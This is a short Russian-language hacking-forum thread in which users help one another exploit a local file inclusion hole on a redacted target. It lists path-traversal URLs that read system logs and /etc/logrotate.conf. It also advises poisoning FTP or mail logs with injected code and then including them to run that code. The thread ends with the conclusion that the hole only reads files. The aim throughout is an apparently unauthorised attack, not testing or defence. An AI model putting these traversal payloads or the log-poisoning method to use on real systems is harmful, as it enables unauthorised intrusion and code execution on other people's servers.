ANTICHAT - Помощь в раскрутке LFI

ANTICHAT (https://forum.antichat.io/index.php)

- Песочница (https://forum.antichat.io/forumdisplay.php?f=189)

- - Помощь в раскрутке LFI (https://forum.antichat.io/showthread.php?t=390176)

ищи лог файл

Цитата:

Сообщение от vikler

вот, что удалось найти, но всё не то, да?

Код:

http://XXXXXXXXXX/ShowPage?vuln=../../../Tomcat-name/webapps/name/logs/20130727.log

http://XXXXXXXXXX/ShowPage?vuln=../../../var/log/messages.1

http://XXXXXXXXXX/ShowPage?vuln=../../../var/log/messages.0

http://XXXXXXXXXX/ShowPage?vuln=../../../var/log/messages.2

http://XXXXXXXXXX/ShowPage?vuln=../../../var/log/messages.3

http://XXXXXXXXXX/ShowPage?vuln=../../../etc/logrotate.conf

посмотри, пишутся ли в те логи ошибки

Поищи логи FTP, почту, в случае с FTP иногда ведется логирование логина, пароля при неудачном входе. Если так, то подставляй вместо логина от FTP свой ядовитый код и производи инклуд. В случае с почтой подобным образом, но дело с телом сообщения.

Вот тебе пути к логам wiki.apache.org/httpd/DistrosDefaultLayout

найдёшь пиши

Это оказалась читалка файлов, а не LFI.

Кроме просмотра конфигов - дело труба.